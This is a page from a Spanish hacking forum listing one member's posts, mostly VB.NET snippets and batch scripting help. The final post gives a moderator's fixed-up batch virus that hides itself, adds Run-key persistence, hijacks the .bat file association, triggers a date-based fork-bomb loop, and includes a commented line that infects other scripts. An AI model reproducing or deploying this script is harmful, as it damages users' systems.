elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Mensajes
Páginas: 1 ... 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 [992] 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 ... 1253
9911  Programación / Scripting / Re: [src]batch-virus]f_to en: 18 Enero 2013, 10:07 am
Gracias aunque de poco sirve ser un pu** amo en Batch, yo envidio los conocimientos de $Edu$ entre otros cuantos miembros de la programación .NET.

Saludos!
9912  Programación / .NET (C#, VB.NET, ASP) / Re: [SOLUCIONADO] Ejecutar recurso embedido del programa? en: 18 Enero 2013, 07:48 am
Código
  1. ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.PerUserRoaming).FilePath

¿Hay algo equivalente a eso para FW 3.0, 3.5, o 4.0?

EDITO: ah pues... mmm... en Framework 4.5 tampoco me funciona xD
Me dice que ConfigurationManager no está declarada
9913  Programación / .NET (C#, VB.NET, ASP) / Re: [APORTE] Snippets !! (Posteen aquí sus snippets) en: 18 Enero 2013, 07:33 am
Cargar un recurso embedido (.exe) al disco duro

Código
  1. #Region " Load Resource To Disk Function "
  2.  
  3.    ' [ Load Exe Resource To Disk Function ]
  4.    '
  5.    ' // By Elektro H@cker (Gracias a Kubox)
  6.    '
  7.    ' Examples:
  8.    '
  9.    ' Load__Exe_Resource_To_Disk(My.Resources.Exe_Name, "C:\File.exe")
  10.    ' ' Process.Start("C:\File.exe")
  11.  
  12.    Private Function Load__Exe_Resource_To_Disk(ByVal Resource As Byte(), ByVal Target_File As String) As Boolean
  13.        Try
  14.            Dim File_Buffer As Byte() = Resource
  15.            Dim Buffer_FileStream As New IO.FileStream(Target_File, IO.FileMode.Create, IO.FileAccess.Write)
  16.            Buffer_FileStream.Write(File_Buffer, 0, File_Buffer.Length) : Buffer_FileStream.Close()
  17.            Return True
  18.        Catch ex As Exception
  19.            Return False
  20.        End Try
  21.    End Function
  22.  
  23. #End Region



MessageBox Question - Cancel operation

Código
  1.  Dim Answer = MessageBox.Show("Want to cancel the current operation?", "Cancel", MessageBoxButtons.YesNo, MessageBoxIcon.Question, MessageBoxDefaultButton.Button1)
  2.  If Answer = MsgBoxResult.Yes Then Application.Exit() Else e.Cancel = True



Mover un archivo, con varias opciones adicionales.

Código
  1. #Region " Move File Function "
  2.  
  3.    ' [ Move File Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Move_File("C:\File.txt", "C:\Test\")) ' Standard move
  10.    ' MsgBox(Move_File("C:\File.txt", "C:\Test\", True)) ' Create the directory if doesn't exists
  11.    ' MsgBox(Move_File("C:\File.txt", "C:\Test\", , True)) ' Replace any existing file
  12.    ' MsgBox(Move_File("C:\File.txt", "C:\Test\", , , IO.FileAttributes.Hidden + IO.FileAttributes.ReadOnly)) ' Apply new attributes
  13.  
  14.    Private Function Move_File(ByVal File As String, ByVal Target_Path As String, _
  15.                               Optional ByVal Force_Target_Path As Boolean = False, Optional ByVal Force_File_Replace As Boolean = False, _
  16.                               Optional ByVal Attributes As System.IO.FileAttributes = IO.FileAttributes.Normal)
  17.  
  18.        Dim File_Information = My.Computer.FileSystem.GetFileInfo(File) ' Get Input File Information
  19.  
  20.        ' Directory
  21.        If Not Force_Target_Path And Not My.Computer.FileSystem.DirectoryExists(Target_Path) Then
  22.            Return False ' Target Directory don't exists
  23.        ElseIf Force_Target_Path Then
  24.            Try
  25.                My.Computer.FileSystem.CreateDirectory(Target_Path) ' Create directory
  26.            Catch ex As Exception
  27.                'Return False
  28.                Return ex.Message ' Directory can't be created maybe beacuse user permissions
  29.            End Try
  30.        End If
  31.  
  32.        ' File
  33.        Try
  34.            My.Computer.FileSystem.MoveFile(File, Target_Path & "\" & File_Information.Name, Force_File_Replace) ' Moves the file
  35.            If Not Attributes = IO.FileAttributes.Normal Then My.Computer.FileSystem.GetFileInfo(Target_Path & "\" & File_Information.Name).Attributes = Attributes ' Apply File Attributes
  36.            Return True ' File is copied OK
  37.        Catch ex As Exception
  38.            'Return False
  39.            Return ex.Message ' File can't be created maybe beacuse user permissions
  40.        End Try
  41.    End Function
  42.  
  43. #End Region
9914  Programación / Scripting / Re: [src]batch-virus]f_to en: 18 Enero 2013, 05:10 am
Sincéramente el mundo "batch" está lleno de "virus" como el que compartiste,
aparte de ayudar y enseñar lo que pueda intento demostrar que no es tán fácil, hay muchos detalles que tener en cuenta, y te dije unos cuantos.



Citar
explicame mejor esa parte por favor si puedes.

Te explico:

por ejemplo no sabia que se podia empezar una linea de codigo con un parentesis :O
El paréntesis es el operador de agrupación, y sirve para agrupar comandos.
Puedes empezar cualquier línea con el uso del paréntesis, y puedes agrupar tantas veces como quieras:

Código:
((((((((((echo hola))))))))))

Ejemplo:
Código
  1. f "a" == "a" echo Es igual & Echoelse No es igual

Eso es una patata de línea, porque los comandos no están agrupados así que no puede funcionar corréctamente, siempre mostrará "es igual" y "no es igual",
hay que agrupar las ordenes así:
Código
  1. f "a" == "a" (echo Es igual & Echo) else (No es igual)

También puedes agrupar para hacer una redirección multilínea:
Código
  1. (
  2. Echo elhacker
  3. echo .net
  4. )>"Archivo.txt"
* El output de lo que haya dentro de la agrupación se redirecciona al archivo.

Otro ejemplo de agrupación en una línea sería:
Código
  1. (SET /A "A=0", "LINE=0", "TOTAL_LINES=0")  &  (CALL :%~1 %* || (ECHO Parametro incorrecto & Exit /B 1)) & (GOTO:EOF)
* Fíjate donde acaba la primera agrupación, sin usar las agrupaciones no se podría escribir en una sola línea porque el "GOTO:EOF" siempre daría positivo.
* El ejemplo lo he sacado de mi script, donde tienes más ejemplos: [BATCH] [APORTE] Rutina TEXTMAN para manipular archivos de texto

Y escribí un tutorial de Batch donde tienes más información:
Tutorial extendido de aprendizaje Batch 4.4 Operadores de agrupación



FOR
esta parte del codigo no la entiendo bien...segun puedo ver estas tratando de contar tokens y delimitas algo??  :huh:

Lo primero de todo que hago es obtener el dato del valor "default" de la clave "HKEY_CLASSES_ROOT\.Avi", que es donde se guarda el identificador necesario.

El output que recibo es este:
Código:
    (Predeterminado)    REG_SZ    UMPLAYER.AVI

Contiene tres espacios por defecto antes del dato que quiero obtener, así que uso 3 tokens y como delimitador uso el espacio, y obtengo esto:
Código:
UMPLAYER.AVI

Y ya hago lo que quiera hacer con el valor que he obtenido xD.

Saludos.
9915  Programación / .NET (C#, VB.NET, ASP) / Re: [SOLUCIONADO] Ejecutar recurso embedido del programa? en: 17 Enero 2013, 20:58 pm
Lo de obtener la ruta de APPDATA, y que los programas (suelen) guardan sus datos ahí, ya lo sabía, pero te lo agradezco.

Lo que pasa es que todos los programas que yo compilo (con settings) generan una carpeta en Local con una GUID o algo que parece ser una GUID, como en este ejemplo:
Código:
C:\Users\Administrador\AppData\Local\Microsoft\PlayDir.exe_Url_lnflzfdwlfhy5awswiu4l03ntux3k2vh\1.0.0.0\user.config

por eso me parecía impredecible saber el nombre de esa carpeta a menos que hubiera algún método para obtener esa guid... pero por lo que dices parece que no xD.
No sé, quizas es cosa del VS2012...

EDITO: O del ILMerge o el .Net Shrink, ahora que lo pienso...

¿En la IDE se puede cambiar la ruta donde se almacena el archivo de configuración para quitarle la GUID?

Un saludo!
9916  Programación / .NET (C#, VB.NET, ASP) / Re: Pequeña duda sobre argumentos en: 17 Enero 2013, 20:47 pm
'¬¬

I'm stupid.

xD

Saludos.
9917  Programación / .NET (C#, VB.NET, ASP) / Re: Pequeña duda sobre argumentos en: 17 Enero 2013, 20:23 pm
Gracias.

Y el própio intérprete sabe que función debe usar según el tipo de valor con el que lo llames independientemente del nombre, QUE BUENO!

Pero yo (que soy muy retorcido y me gusta experimentar situaciones xD), he intentado exprimir el ejemplo de esta manera para ver que pasaba:

Código
  1.    Function Test(ByVal arg1 As Integer, _
  2.    Optional arg2 As Integer = Nothing)
  3.        MsgBox("A" & arg1)
  4.    End Function
  5.  
  6.  
  7.    Function Test(ByVal arg1 As Integer, _
  8.    Optional arg2 As String = Nothing)
  9.        MsgBox("B" & arg1)
  10.    End Function
  11.  
  12.    Test(3)

Y no funciona,

¿Si el único parámetro de entrada que cambia es opcional, se puede sobrecargar de alguna manera?
9918  Programación / .NET (C#, VB.NET, ASP) / Re: Pequeña duda sobre argumentos en: 17 Enero 2013, 19:59 pm
Con sobrecargas, tendría dos métodos :P

¿Me puedes indicar el nombre del término en inglés para buscar información?

Me dices sobrecarga y me quedo igual, no consigo asociarlo a nada... sobrecargar un sub/función, ¿eso que leches es? xD.
9919  Programación / .NET (C#, VB.NET, ASP) / Re: Juntar un executable u otro archivo que no séa DLL al executable del programa? en: 17 Enero 2013, 19:44 pm
@Seba

Te refieres a la carpeta de appdata donde se genera el "user.config"?
Me gustaría hacer las cosas bien, pero creo que el nombre que se genera es aleatorio, como por ejemplo ".\roaming\Programa.exe_Url_ktb5duwkcuyoinv5ivsuakbcdmye00nf\user.config", ¿entonces como obtengo la ruta? ni siquiera sé si ese número es una GUID única, o que es.



@Kubox

Código
  1. Dim Buffer As Byte() = My.Resources.Splitty_7zip
  2. Dim Fs As New IO.FileStream(TempDir & "Splitty_7zip.exe", IO.FileMode.Create, IO.FileAccess.Write)
  3. Fs.Write(Buffer, 0, Buffer.Length)
  4. Fs.Close()

Te lo digo muy en serio, eres mi pu** ídolo, ¿diosss pero como lo haces para resolverlo todo!?,
PD: Algunos no tenemos la suerte de aprender programación con un profesor en la uni :(.

Desde luego eso de sacar los bytes va para mi colección de snippets/apuntes xD

Un saludo!
9920  Programación / Scripting / Re: [src]batch-virus]f_to en: 17 Enero 2013, 18:57 pm
Bueno, como soy el moderador voy a hacer un doble post porqué sí  (Por una vez no pasa nada xD) :laugh:, que arriba puse demasiada información para leer.

Aquít ienes las correciones que he mencionado antes ( Sí las quieres :P ):

Código
  1. @Echo OFF
  2.  
  3. Set "Folder=%SystemDrive%\placenta"
  4.  
  5. IF exist "%Folder%" (Exit /B 1) Else (
  6. MKDIR           "%Folder%"
  7. Copy /Y "%~0"   "%Folder%\f_to%~x0"
  8. Attrib +R +S +H "%Folder%"
  9. Attrib +R +S    "%Folder%\f_to%~x0"
  10. Reg ADD         "HKLM\Microsoft\Windows\CurrentVersion\Run" /v "SysMgr" /d "%Folder%\f_to%~x0" /F
  11. Reg ADD         "HKCU\Microsoft\Windows\CurrentVersion\Run" /v "SysMgr" /d "%Folder%\f_to%~x0" /F
  12. For /F "Tokens=1-3 Delims= " %%A in ('REG Query "HKCR\.avi" /V ""') Do (Assoc ".bat"="%%C")
  13. IF %date:~6,4%%date:~3,2%%date:~0,2% GEQ 20131213 (GOTO :Loop) Else (Exit /B 1)
  14. REM Como esta orden no se llega a ejecutar en el código original no se donde quieres que la ponga, pero de todas formas la he corregido:
  15. :: For /R %%# in ("*.bat";"*.cmd") do (Copy /Y "%~0" "%%#" & Attrib +s +h "%%#")
  16. )
  17.  
  18. :Loop
  19. (Start /B "" "%~0") & (Goto :Loop)

Saludos.
Páginas: 1 ... 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 [992] 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 ... 1253
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines